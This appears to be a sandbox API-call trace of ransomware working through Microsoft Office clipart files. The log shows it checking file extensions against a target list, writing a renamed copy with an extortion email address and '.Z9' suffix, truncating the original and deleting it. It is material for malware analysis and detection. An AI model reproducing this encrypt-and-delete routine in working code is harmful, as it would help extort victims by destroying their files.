	[0093.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0093.733] lstrlenW (lpString=".doc") returned 4
	[0093.733] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.733] lstrlenW (lpString=".docx") returned 5
	[0093.733] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.733] lstrlenW (lpString=".pdf") returned 4
	[0093.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.733] lstrlenW (lpString=".xls") returned 4
	[0093.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.733] lstrlenW (lpString=".xlsx") returned 5
	[0093.733] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.733] lstrlenW (lpString=".ppt") returned 4
	[0093.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0093.733] lstrlenW (lpString=".zip") returned 4
	[0093.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.733] lstrlenW (lpString=".rar") returned 4
	[0093.733] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.733] lstrlenW (lpString=".bz2") returned 4
	[0093.733] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.733] lstrlenW (lpString=".7z") returned 3
	[0093.733] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0093.733] lstrlenW (lpString=".dbf") returned 4
	[0093.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0093.734] lstrlenW (lpString=".1cd") returned 4
	[0093.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0093.734] lstrlenW (lpString=".jpg") returned 4
	[0093.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0093.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0093.734] lstrlenW (lpString=".doc") returned 4
	[0093.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.734] lstrlenW (lpString=".docx") returned 5
	[0093.734] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.734] lstrlenW (lpString=".pdf") returned 4
	[0093.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.734] lstrlenW (lpString=".xls") returned 4
	[0093.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.734] lstrlenW (lpString=".xlsx") returned 5
	[0093.734] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.734] lstrlenW (lpString=".ppt") returned 4
	[0093.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0093.734] lstrlenW (lpString=".zip") returned 4
	[0093.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.734] lstrlenW (lpString=".rar") returned 4
	[0093.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.734] lstrlenW (lpString=".bz2") returned 4
	[0093.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.734] lstrlenW (lpString=".7z") returned 3
	[0093.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0093.734] lstrlenW (lpString=".dbf") returned 4
	[0093.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0093.734] lstrlenW (lpString=".1cd") returned 4
	[0093.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0093.735] lstrlenW (lpString=".jpg") returned 4
	[0093.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.735] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.735] lstrlenW (lpString="FD02071_.WMF") returned 12
	[0093.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0093.735] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2188) returned 1
	[0093.735] CloseHandle (hObject=0x2b8) returned 1
	[0093.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x220
	[0093.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0093.736] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.736] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0093.736] GetLastError () returned 0x0
	[0093.736] ReadFile (in: hFile=0x2b8, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x88c, lpOverlapped=0x0) returned 1
	[0093.741] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x890, lpOverlapped=0x0) returned 1
	[0093.742] ReadFile (in: hFile=0x2b8, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.742] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.742] SetEndOfFile (hFile=0x300) returned 1
	[0093.742] CloseHandle (hObject=0x300) returned 1
	[0093.742] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.742] SetEndOfFile (hFile=0x2b8) returned 1
	[0093.743] CloseHandle (hObject=0x2b8) returned 1
	[0093.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.743] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 1
	[0093.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0093.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0093.743] lstrlenW (lpString=".doc") returned 4
	[0093.744] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.744] lstrlenW (lpString=".docx") returned 5
	[0093.744] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.744] lstrlenW (lpString=".pdf") returned 4
	[0093.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.744] lstrlenW (lpString=".xls") returned 4
	[0093.744] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.744] lstrlenW (lpString=".xlsx") returned 5
	[0093.744] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.744] lstrlenW (lpString=".ppt") returned 4
	[0093.744] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0093.744] lstrlenW (lpString=".zip") returned 4
	[0093.744] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.744] lstrlenW (lpString=".rar") returned 4
	[0093.744] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.744] lstrlenW (lpString=".bz2") returned 4
	[0093.744] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.744] lstrlenW (lpString=".7z") returned 3
	[0093.744] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0093.744] lstrlenW (lpString=".dbf") returned 4
	[0093.744] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0093.744] lstrlenW (lpString=".1cd") returned 4
	[0093.744] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0093.744] lstrlenW (lpString=".jpg") returned 4
	[0093.744] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0093.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0093.744] lstrlenW (lpString=".doc") returned 4
	[0093.744] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.744] lstrlenW (lpString=".docx") returned 5
	[0093.744] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.744] lstrlenW (lpString=".pdf") returned 4
	[0093.745] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.745] lstrlenW (lpString=".xls") returned 4
	[0093.745] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.745] lstrlenW (lpString=".xlsx") returned 5
	[0093.745] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.745] lstrlenW (lpString=".ppt") returned 4
	[0093.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0093.745] lstrlenW (lpString=".zip") returned 4
	[0093.745] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.745] lstrlenW (lpString=".rar") returned 4
	[0093.745] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.745] lstrlenW (lpString=".bz2") returned 4
	[0093.745] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.745] lstrlenW (lpString=".7z") returned 3
	[0093.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0093.745] lstrlenW (lpString=".dbf") returned 4
	[0093.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0093.745] lstrlenW (lpString=".1cd") returned 4
	[0093.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0093.745] lstrlenW (lpString=".jpg") returned 4
	[0093.745] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.745] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.745] lstrlenW (lpString="FD02075_.WMF") returned 12
	[0093.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0093.746] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=4396) returned 1
	[0093.746] CloseHandle (hObject=0x2b8) returned 1
	[0093.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x220
	[0093.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0093.746] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.746] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0093.747] GetLastError () returned 0x0
	[0093.747] ReadFile (in: hFile=0x2b8, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x112c, lpOverlapped=0x0) returned 1
	[0093.798] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1130, lpOverlapped=0x0) returned 1
	[0093.799] ReadFile (in: hFile=0x2b8, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.799] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.799] SetEndOfFile (hFile=0x300) returned 1
	[0093.799] CloseHandle (hObject=0x300) returned 1
	[0093.799] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.799] SetEndOfFile (hFile=0x2b8) returned 1
	[0093.800] CloseHandle (hObject=0x2b8) returned 1
	[0093.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 1
	[0093.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0093.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0093.801] lstrlenW (lpString=".doc") returned 4
	[0093.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.801] lstrlenW (lpString=".docx") returned 5
	[0093.801] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.801] lstrlenW (lpString=".pdf") returned 4
	[0093.801] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.801] lstrlenW (lpString=".xls") returned 4
	[0093.801] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.801] lstrlenW (lpString=".xlsx") returned 5
	[0093.801] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.801] lstrlenW (lpString=".ppt") returned 4
	[0093.801] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0093.801] lstrlenW (lpString=".zip") returned 4
	[0093.801] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.801] lstrlenW (lpString=".rar") returned 4
	[0093.801] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.801] lstrlenW (lpString=".bz2") returned 4
	[0093.801] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.801] lstrlenW (lpString=".7z") returned 3
	[0093.801] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0093.801] lstrlenW (lpString=".dbf") returned 4
	[0093.801] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0093.801] lstrlenW (lpString=".1cd") returned 4
	[0093.801] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0093.801] lstrlenW (lpString=".jpg") returned 4
	[0093.801] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0093.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0093.802] lstrlenW (lpString=".doc") returned 4
	[0093.802] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.802] lstrlenW (lpString=".docx") returned 5
	[0093.802] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.802] lstrlenW (lpString=".pdf") returned 4
	[0093.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.802] lstrlenW (lpString=".xls") returned 4
	[0093.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.802] lstrlenW (lpString=".xlsx") returned 5
	[0093.802] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.802] lstrlenW (lpString=".ppt") returned 4
	[0093.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0093.802] lstrlenW (lpString=".zip") returned 4
	[0093.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.802] lstrlenW (lpString=".rar") returned 4
	[0093.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.802] lstrlenW (lpString=".bz2") returned 4
	[0093.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.802] lstrlenW (lpString=".7z") returned 3
	[0093.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0093.802] lstrlenW (lpString=".dbf") returned 4
	[0093.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0093.802] lstrlenW (lpString=".1cd") returned 4
	[0093.802] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0093.802] lstrlenW (lpString=".jpg") returned 4
	[0093.802] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.802] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.803] lstrlenW (lpString="FD02116_.WMF") returned 12
	[0093.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0093.803] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3988) returned 1
	[0093.803] CloseHandle (hObject=0x2b8) returned 1
	[0093.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 0x220
	[0093.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0093.803] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.803] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0093.804] GetLastError () returned 0x0
	[0093.804] ReadFile (in: hFile=0x2b8, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0xf94, lpOverlapped=0x0) returned 1
	[0093.873] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xfa0, lpOverlapped=0x0) returned 1
	[0093.874] ReadFile (in: hFile=0x2b8, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.875] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.875] SetEndOfFile (hFile=0x300) returned 1
	[0093.875] CloseHandle (hObject=0x300) returned 1
	[0093.875] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.875] SetEndOfFile (hFile=0x2b8) returned 1
	[0093.876] CloseHandle (hObject=0x2b8) returned 1
	[0093.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
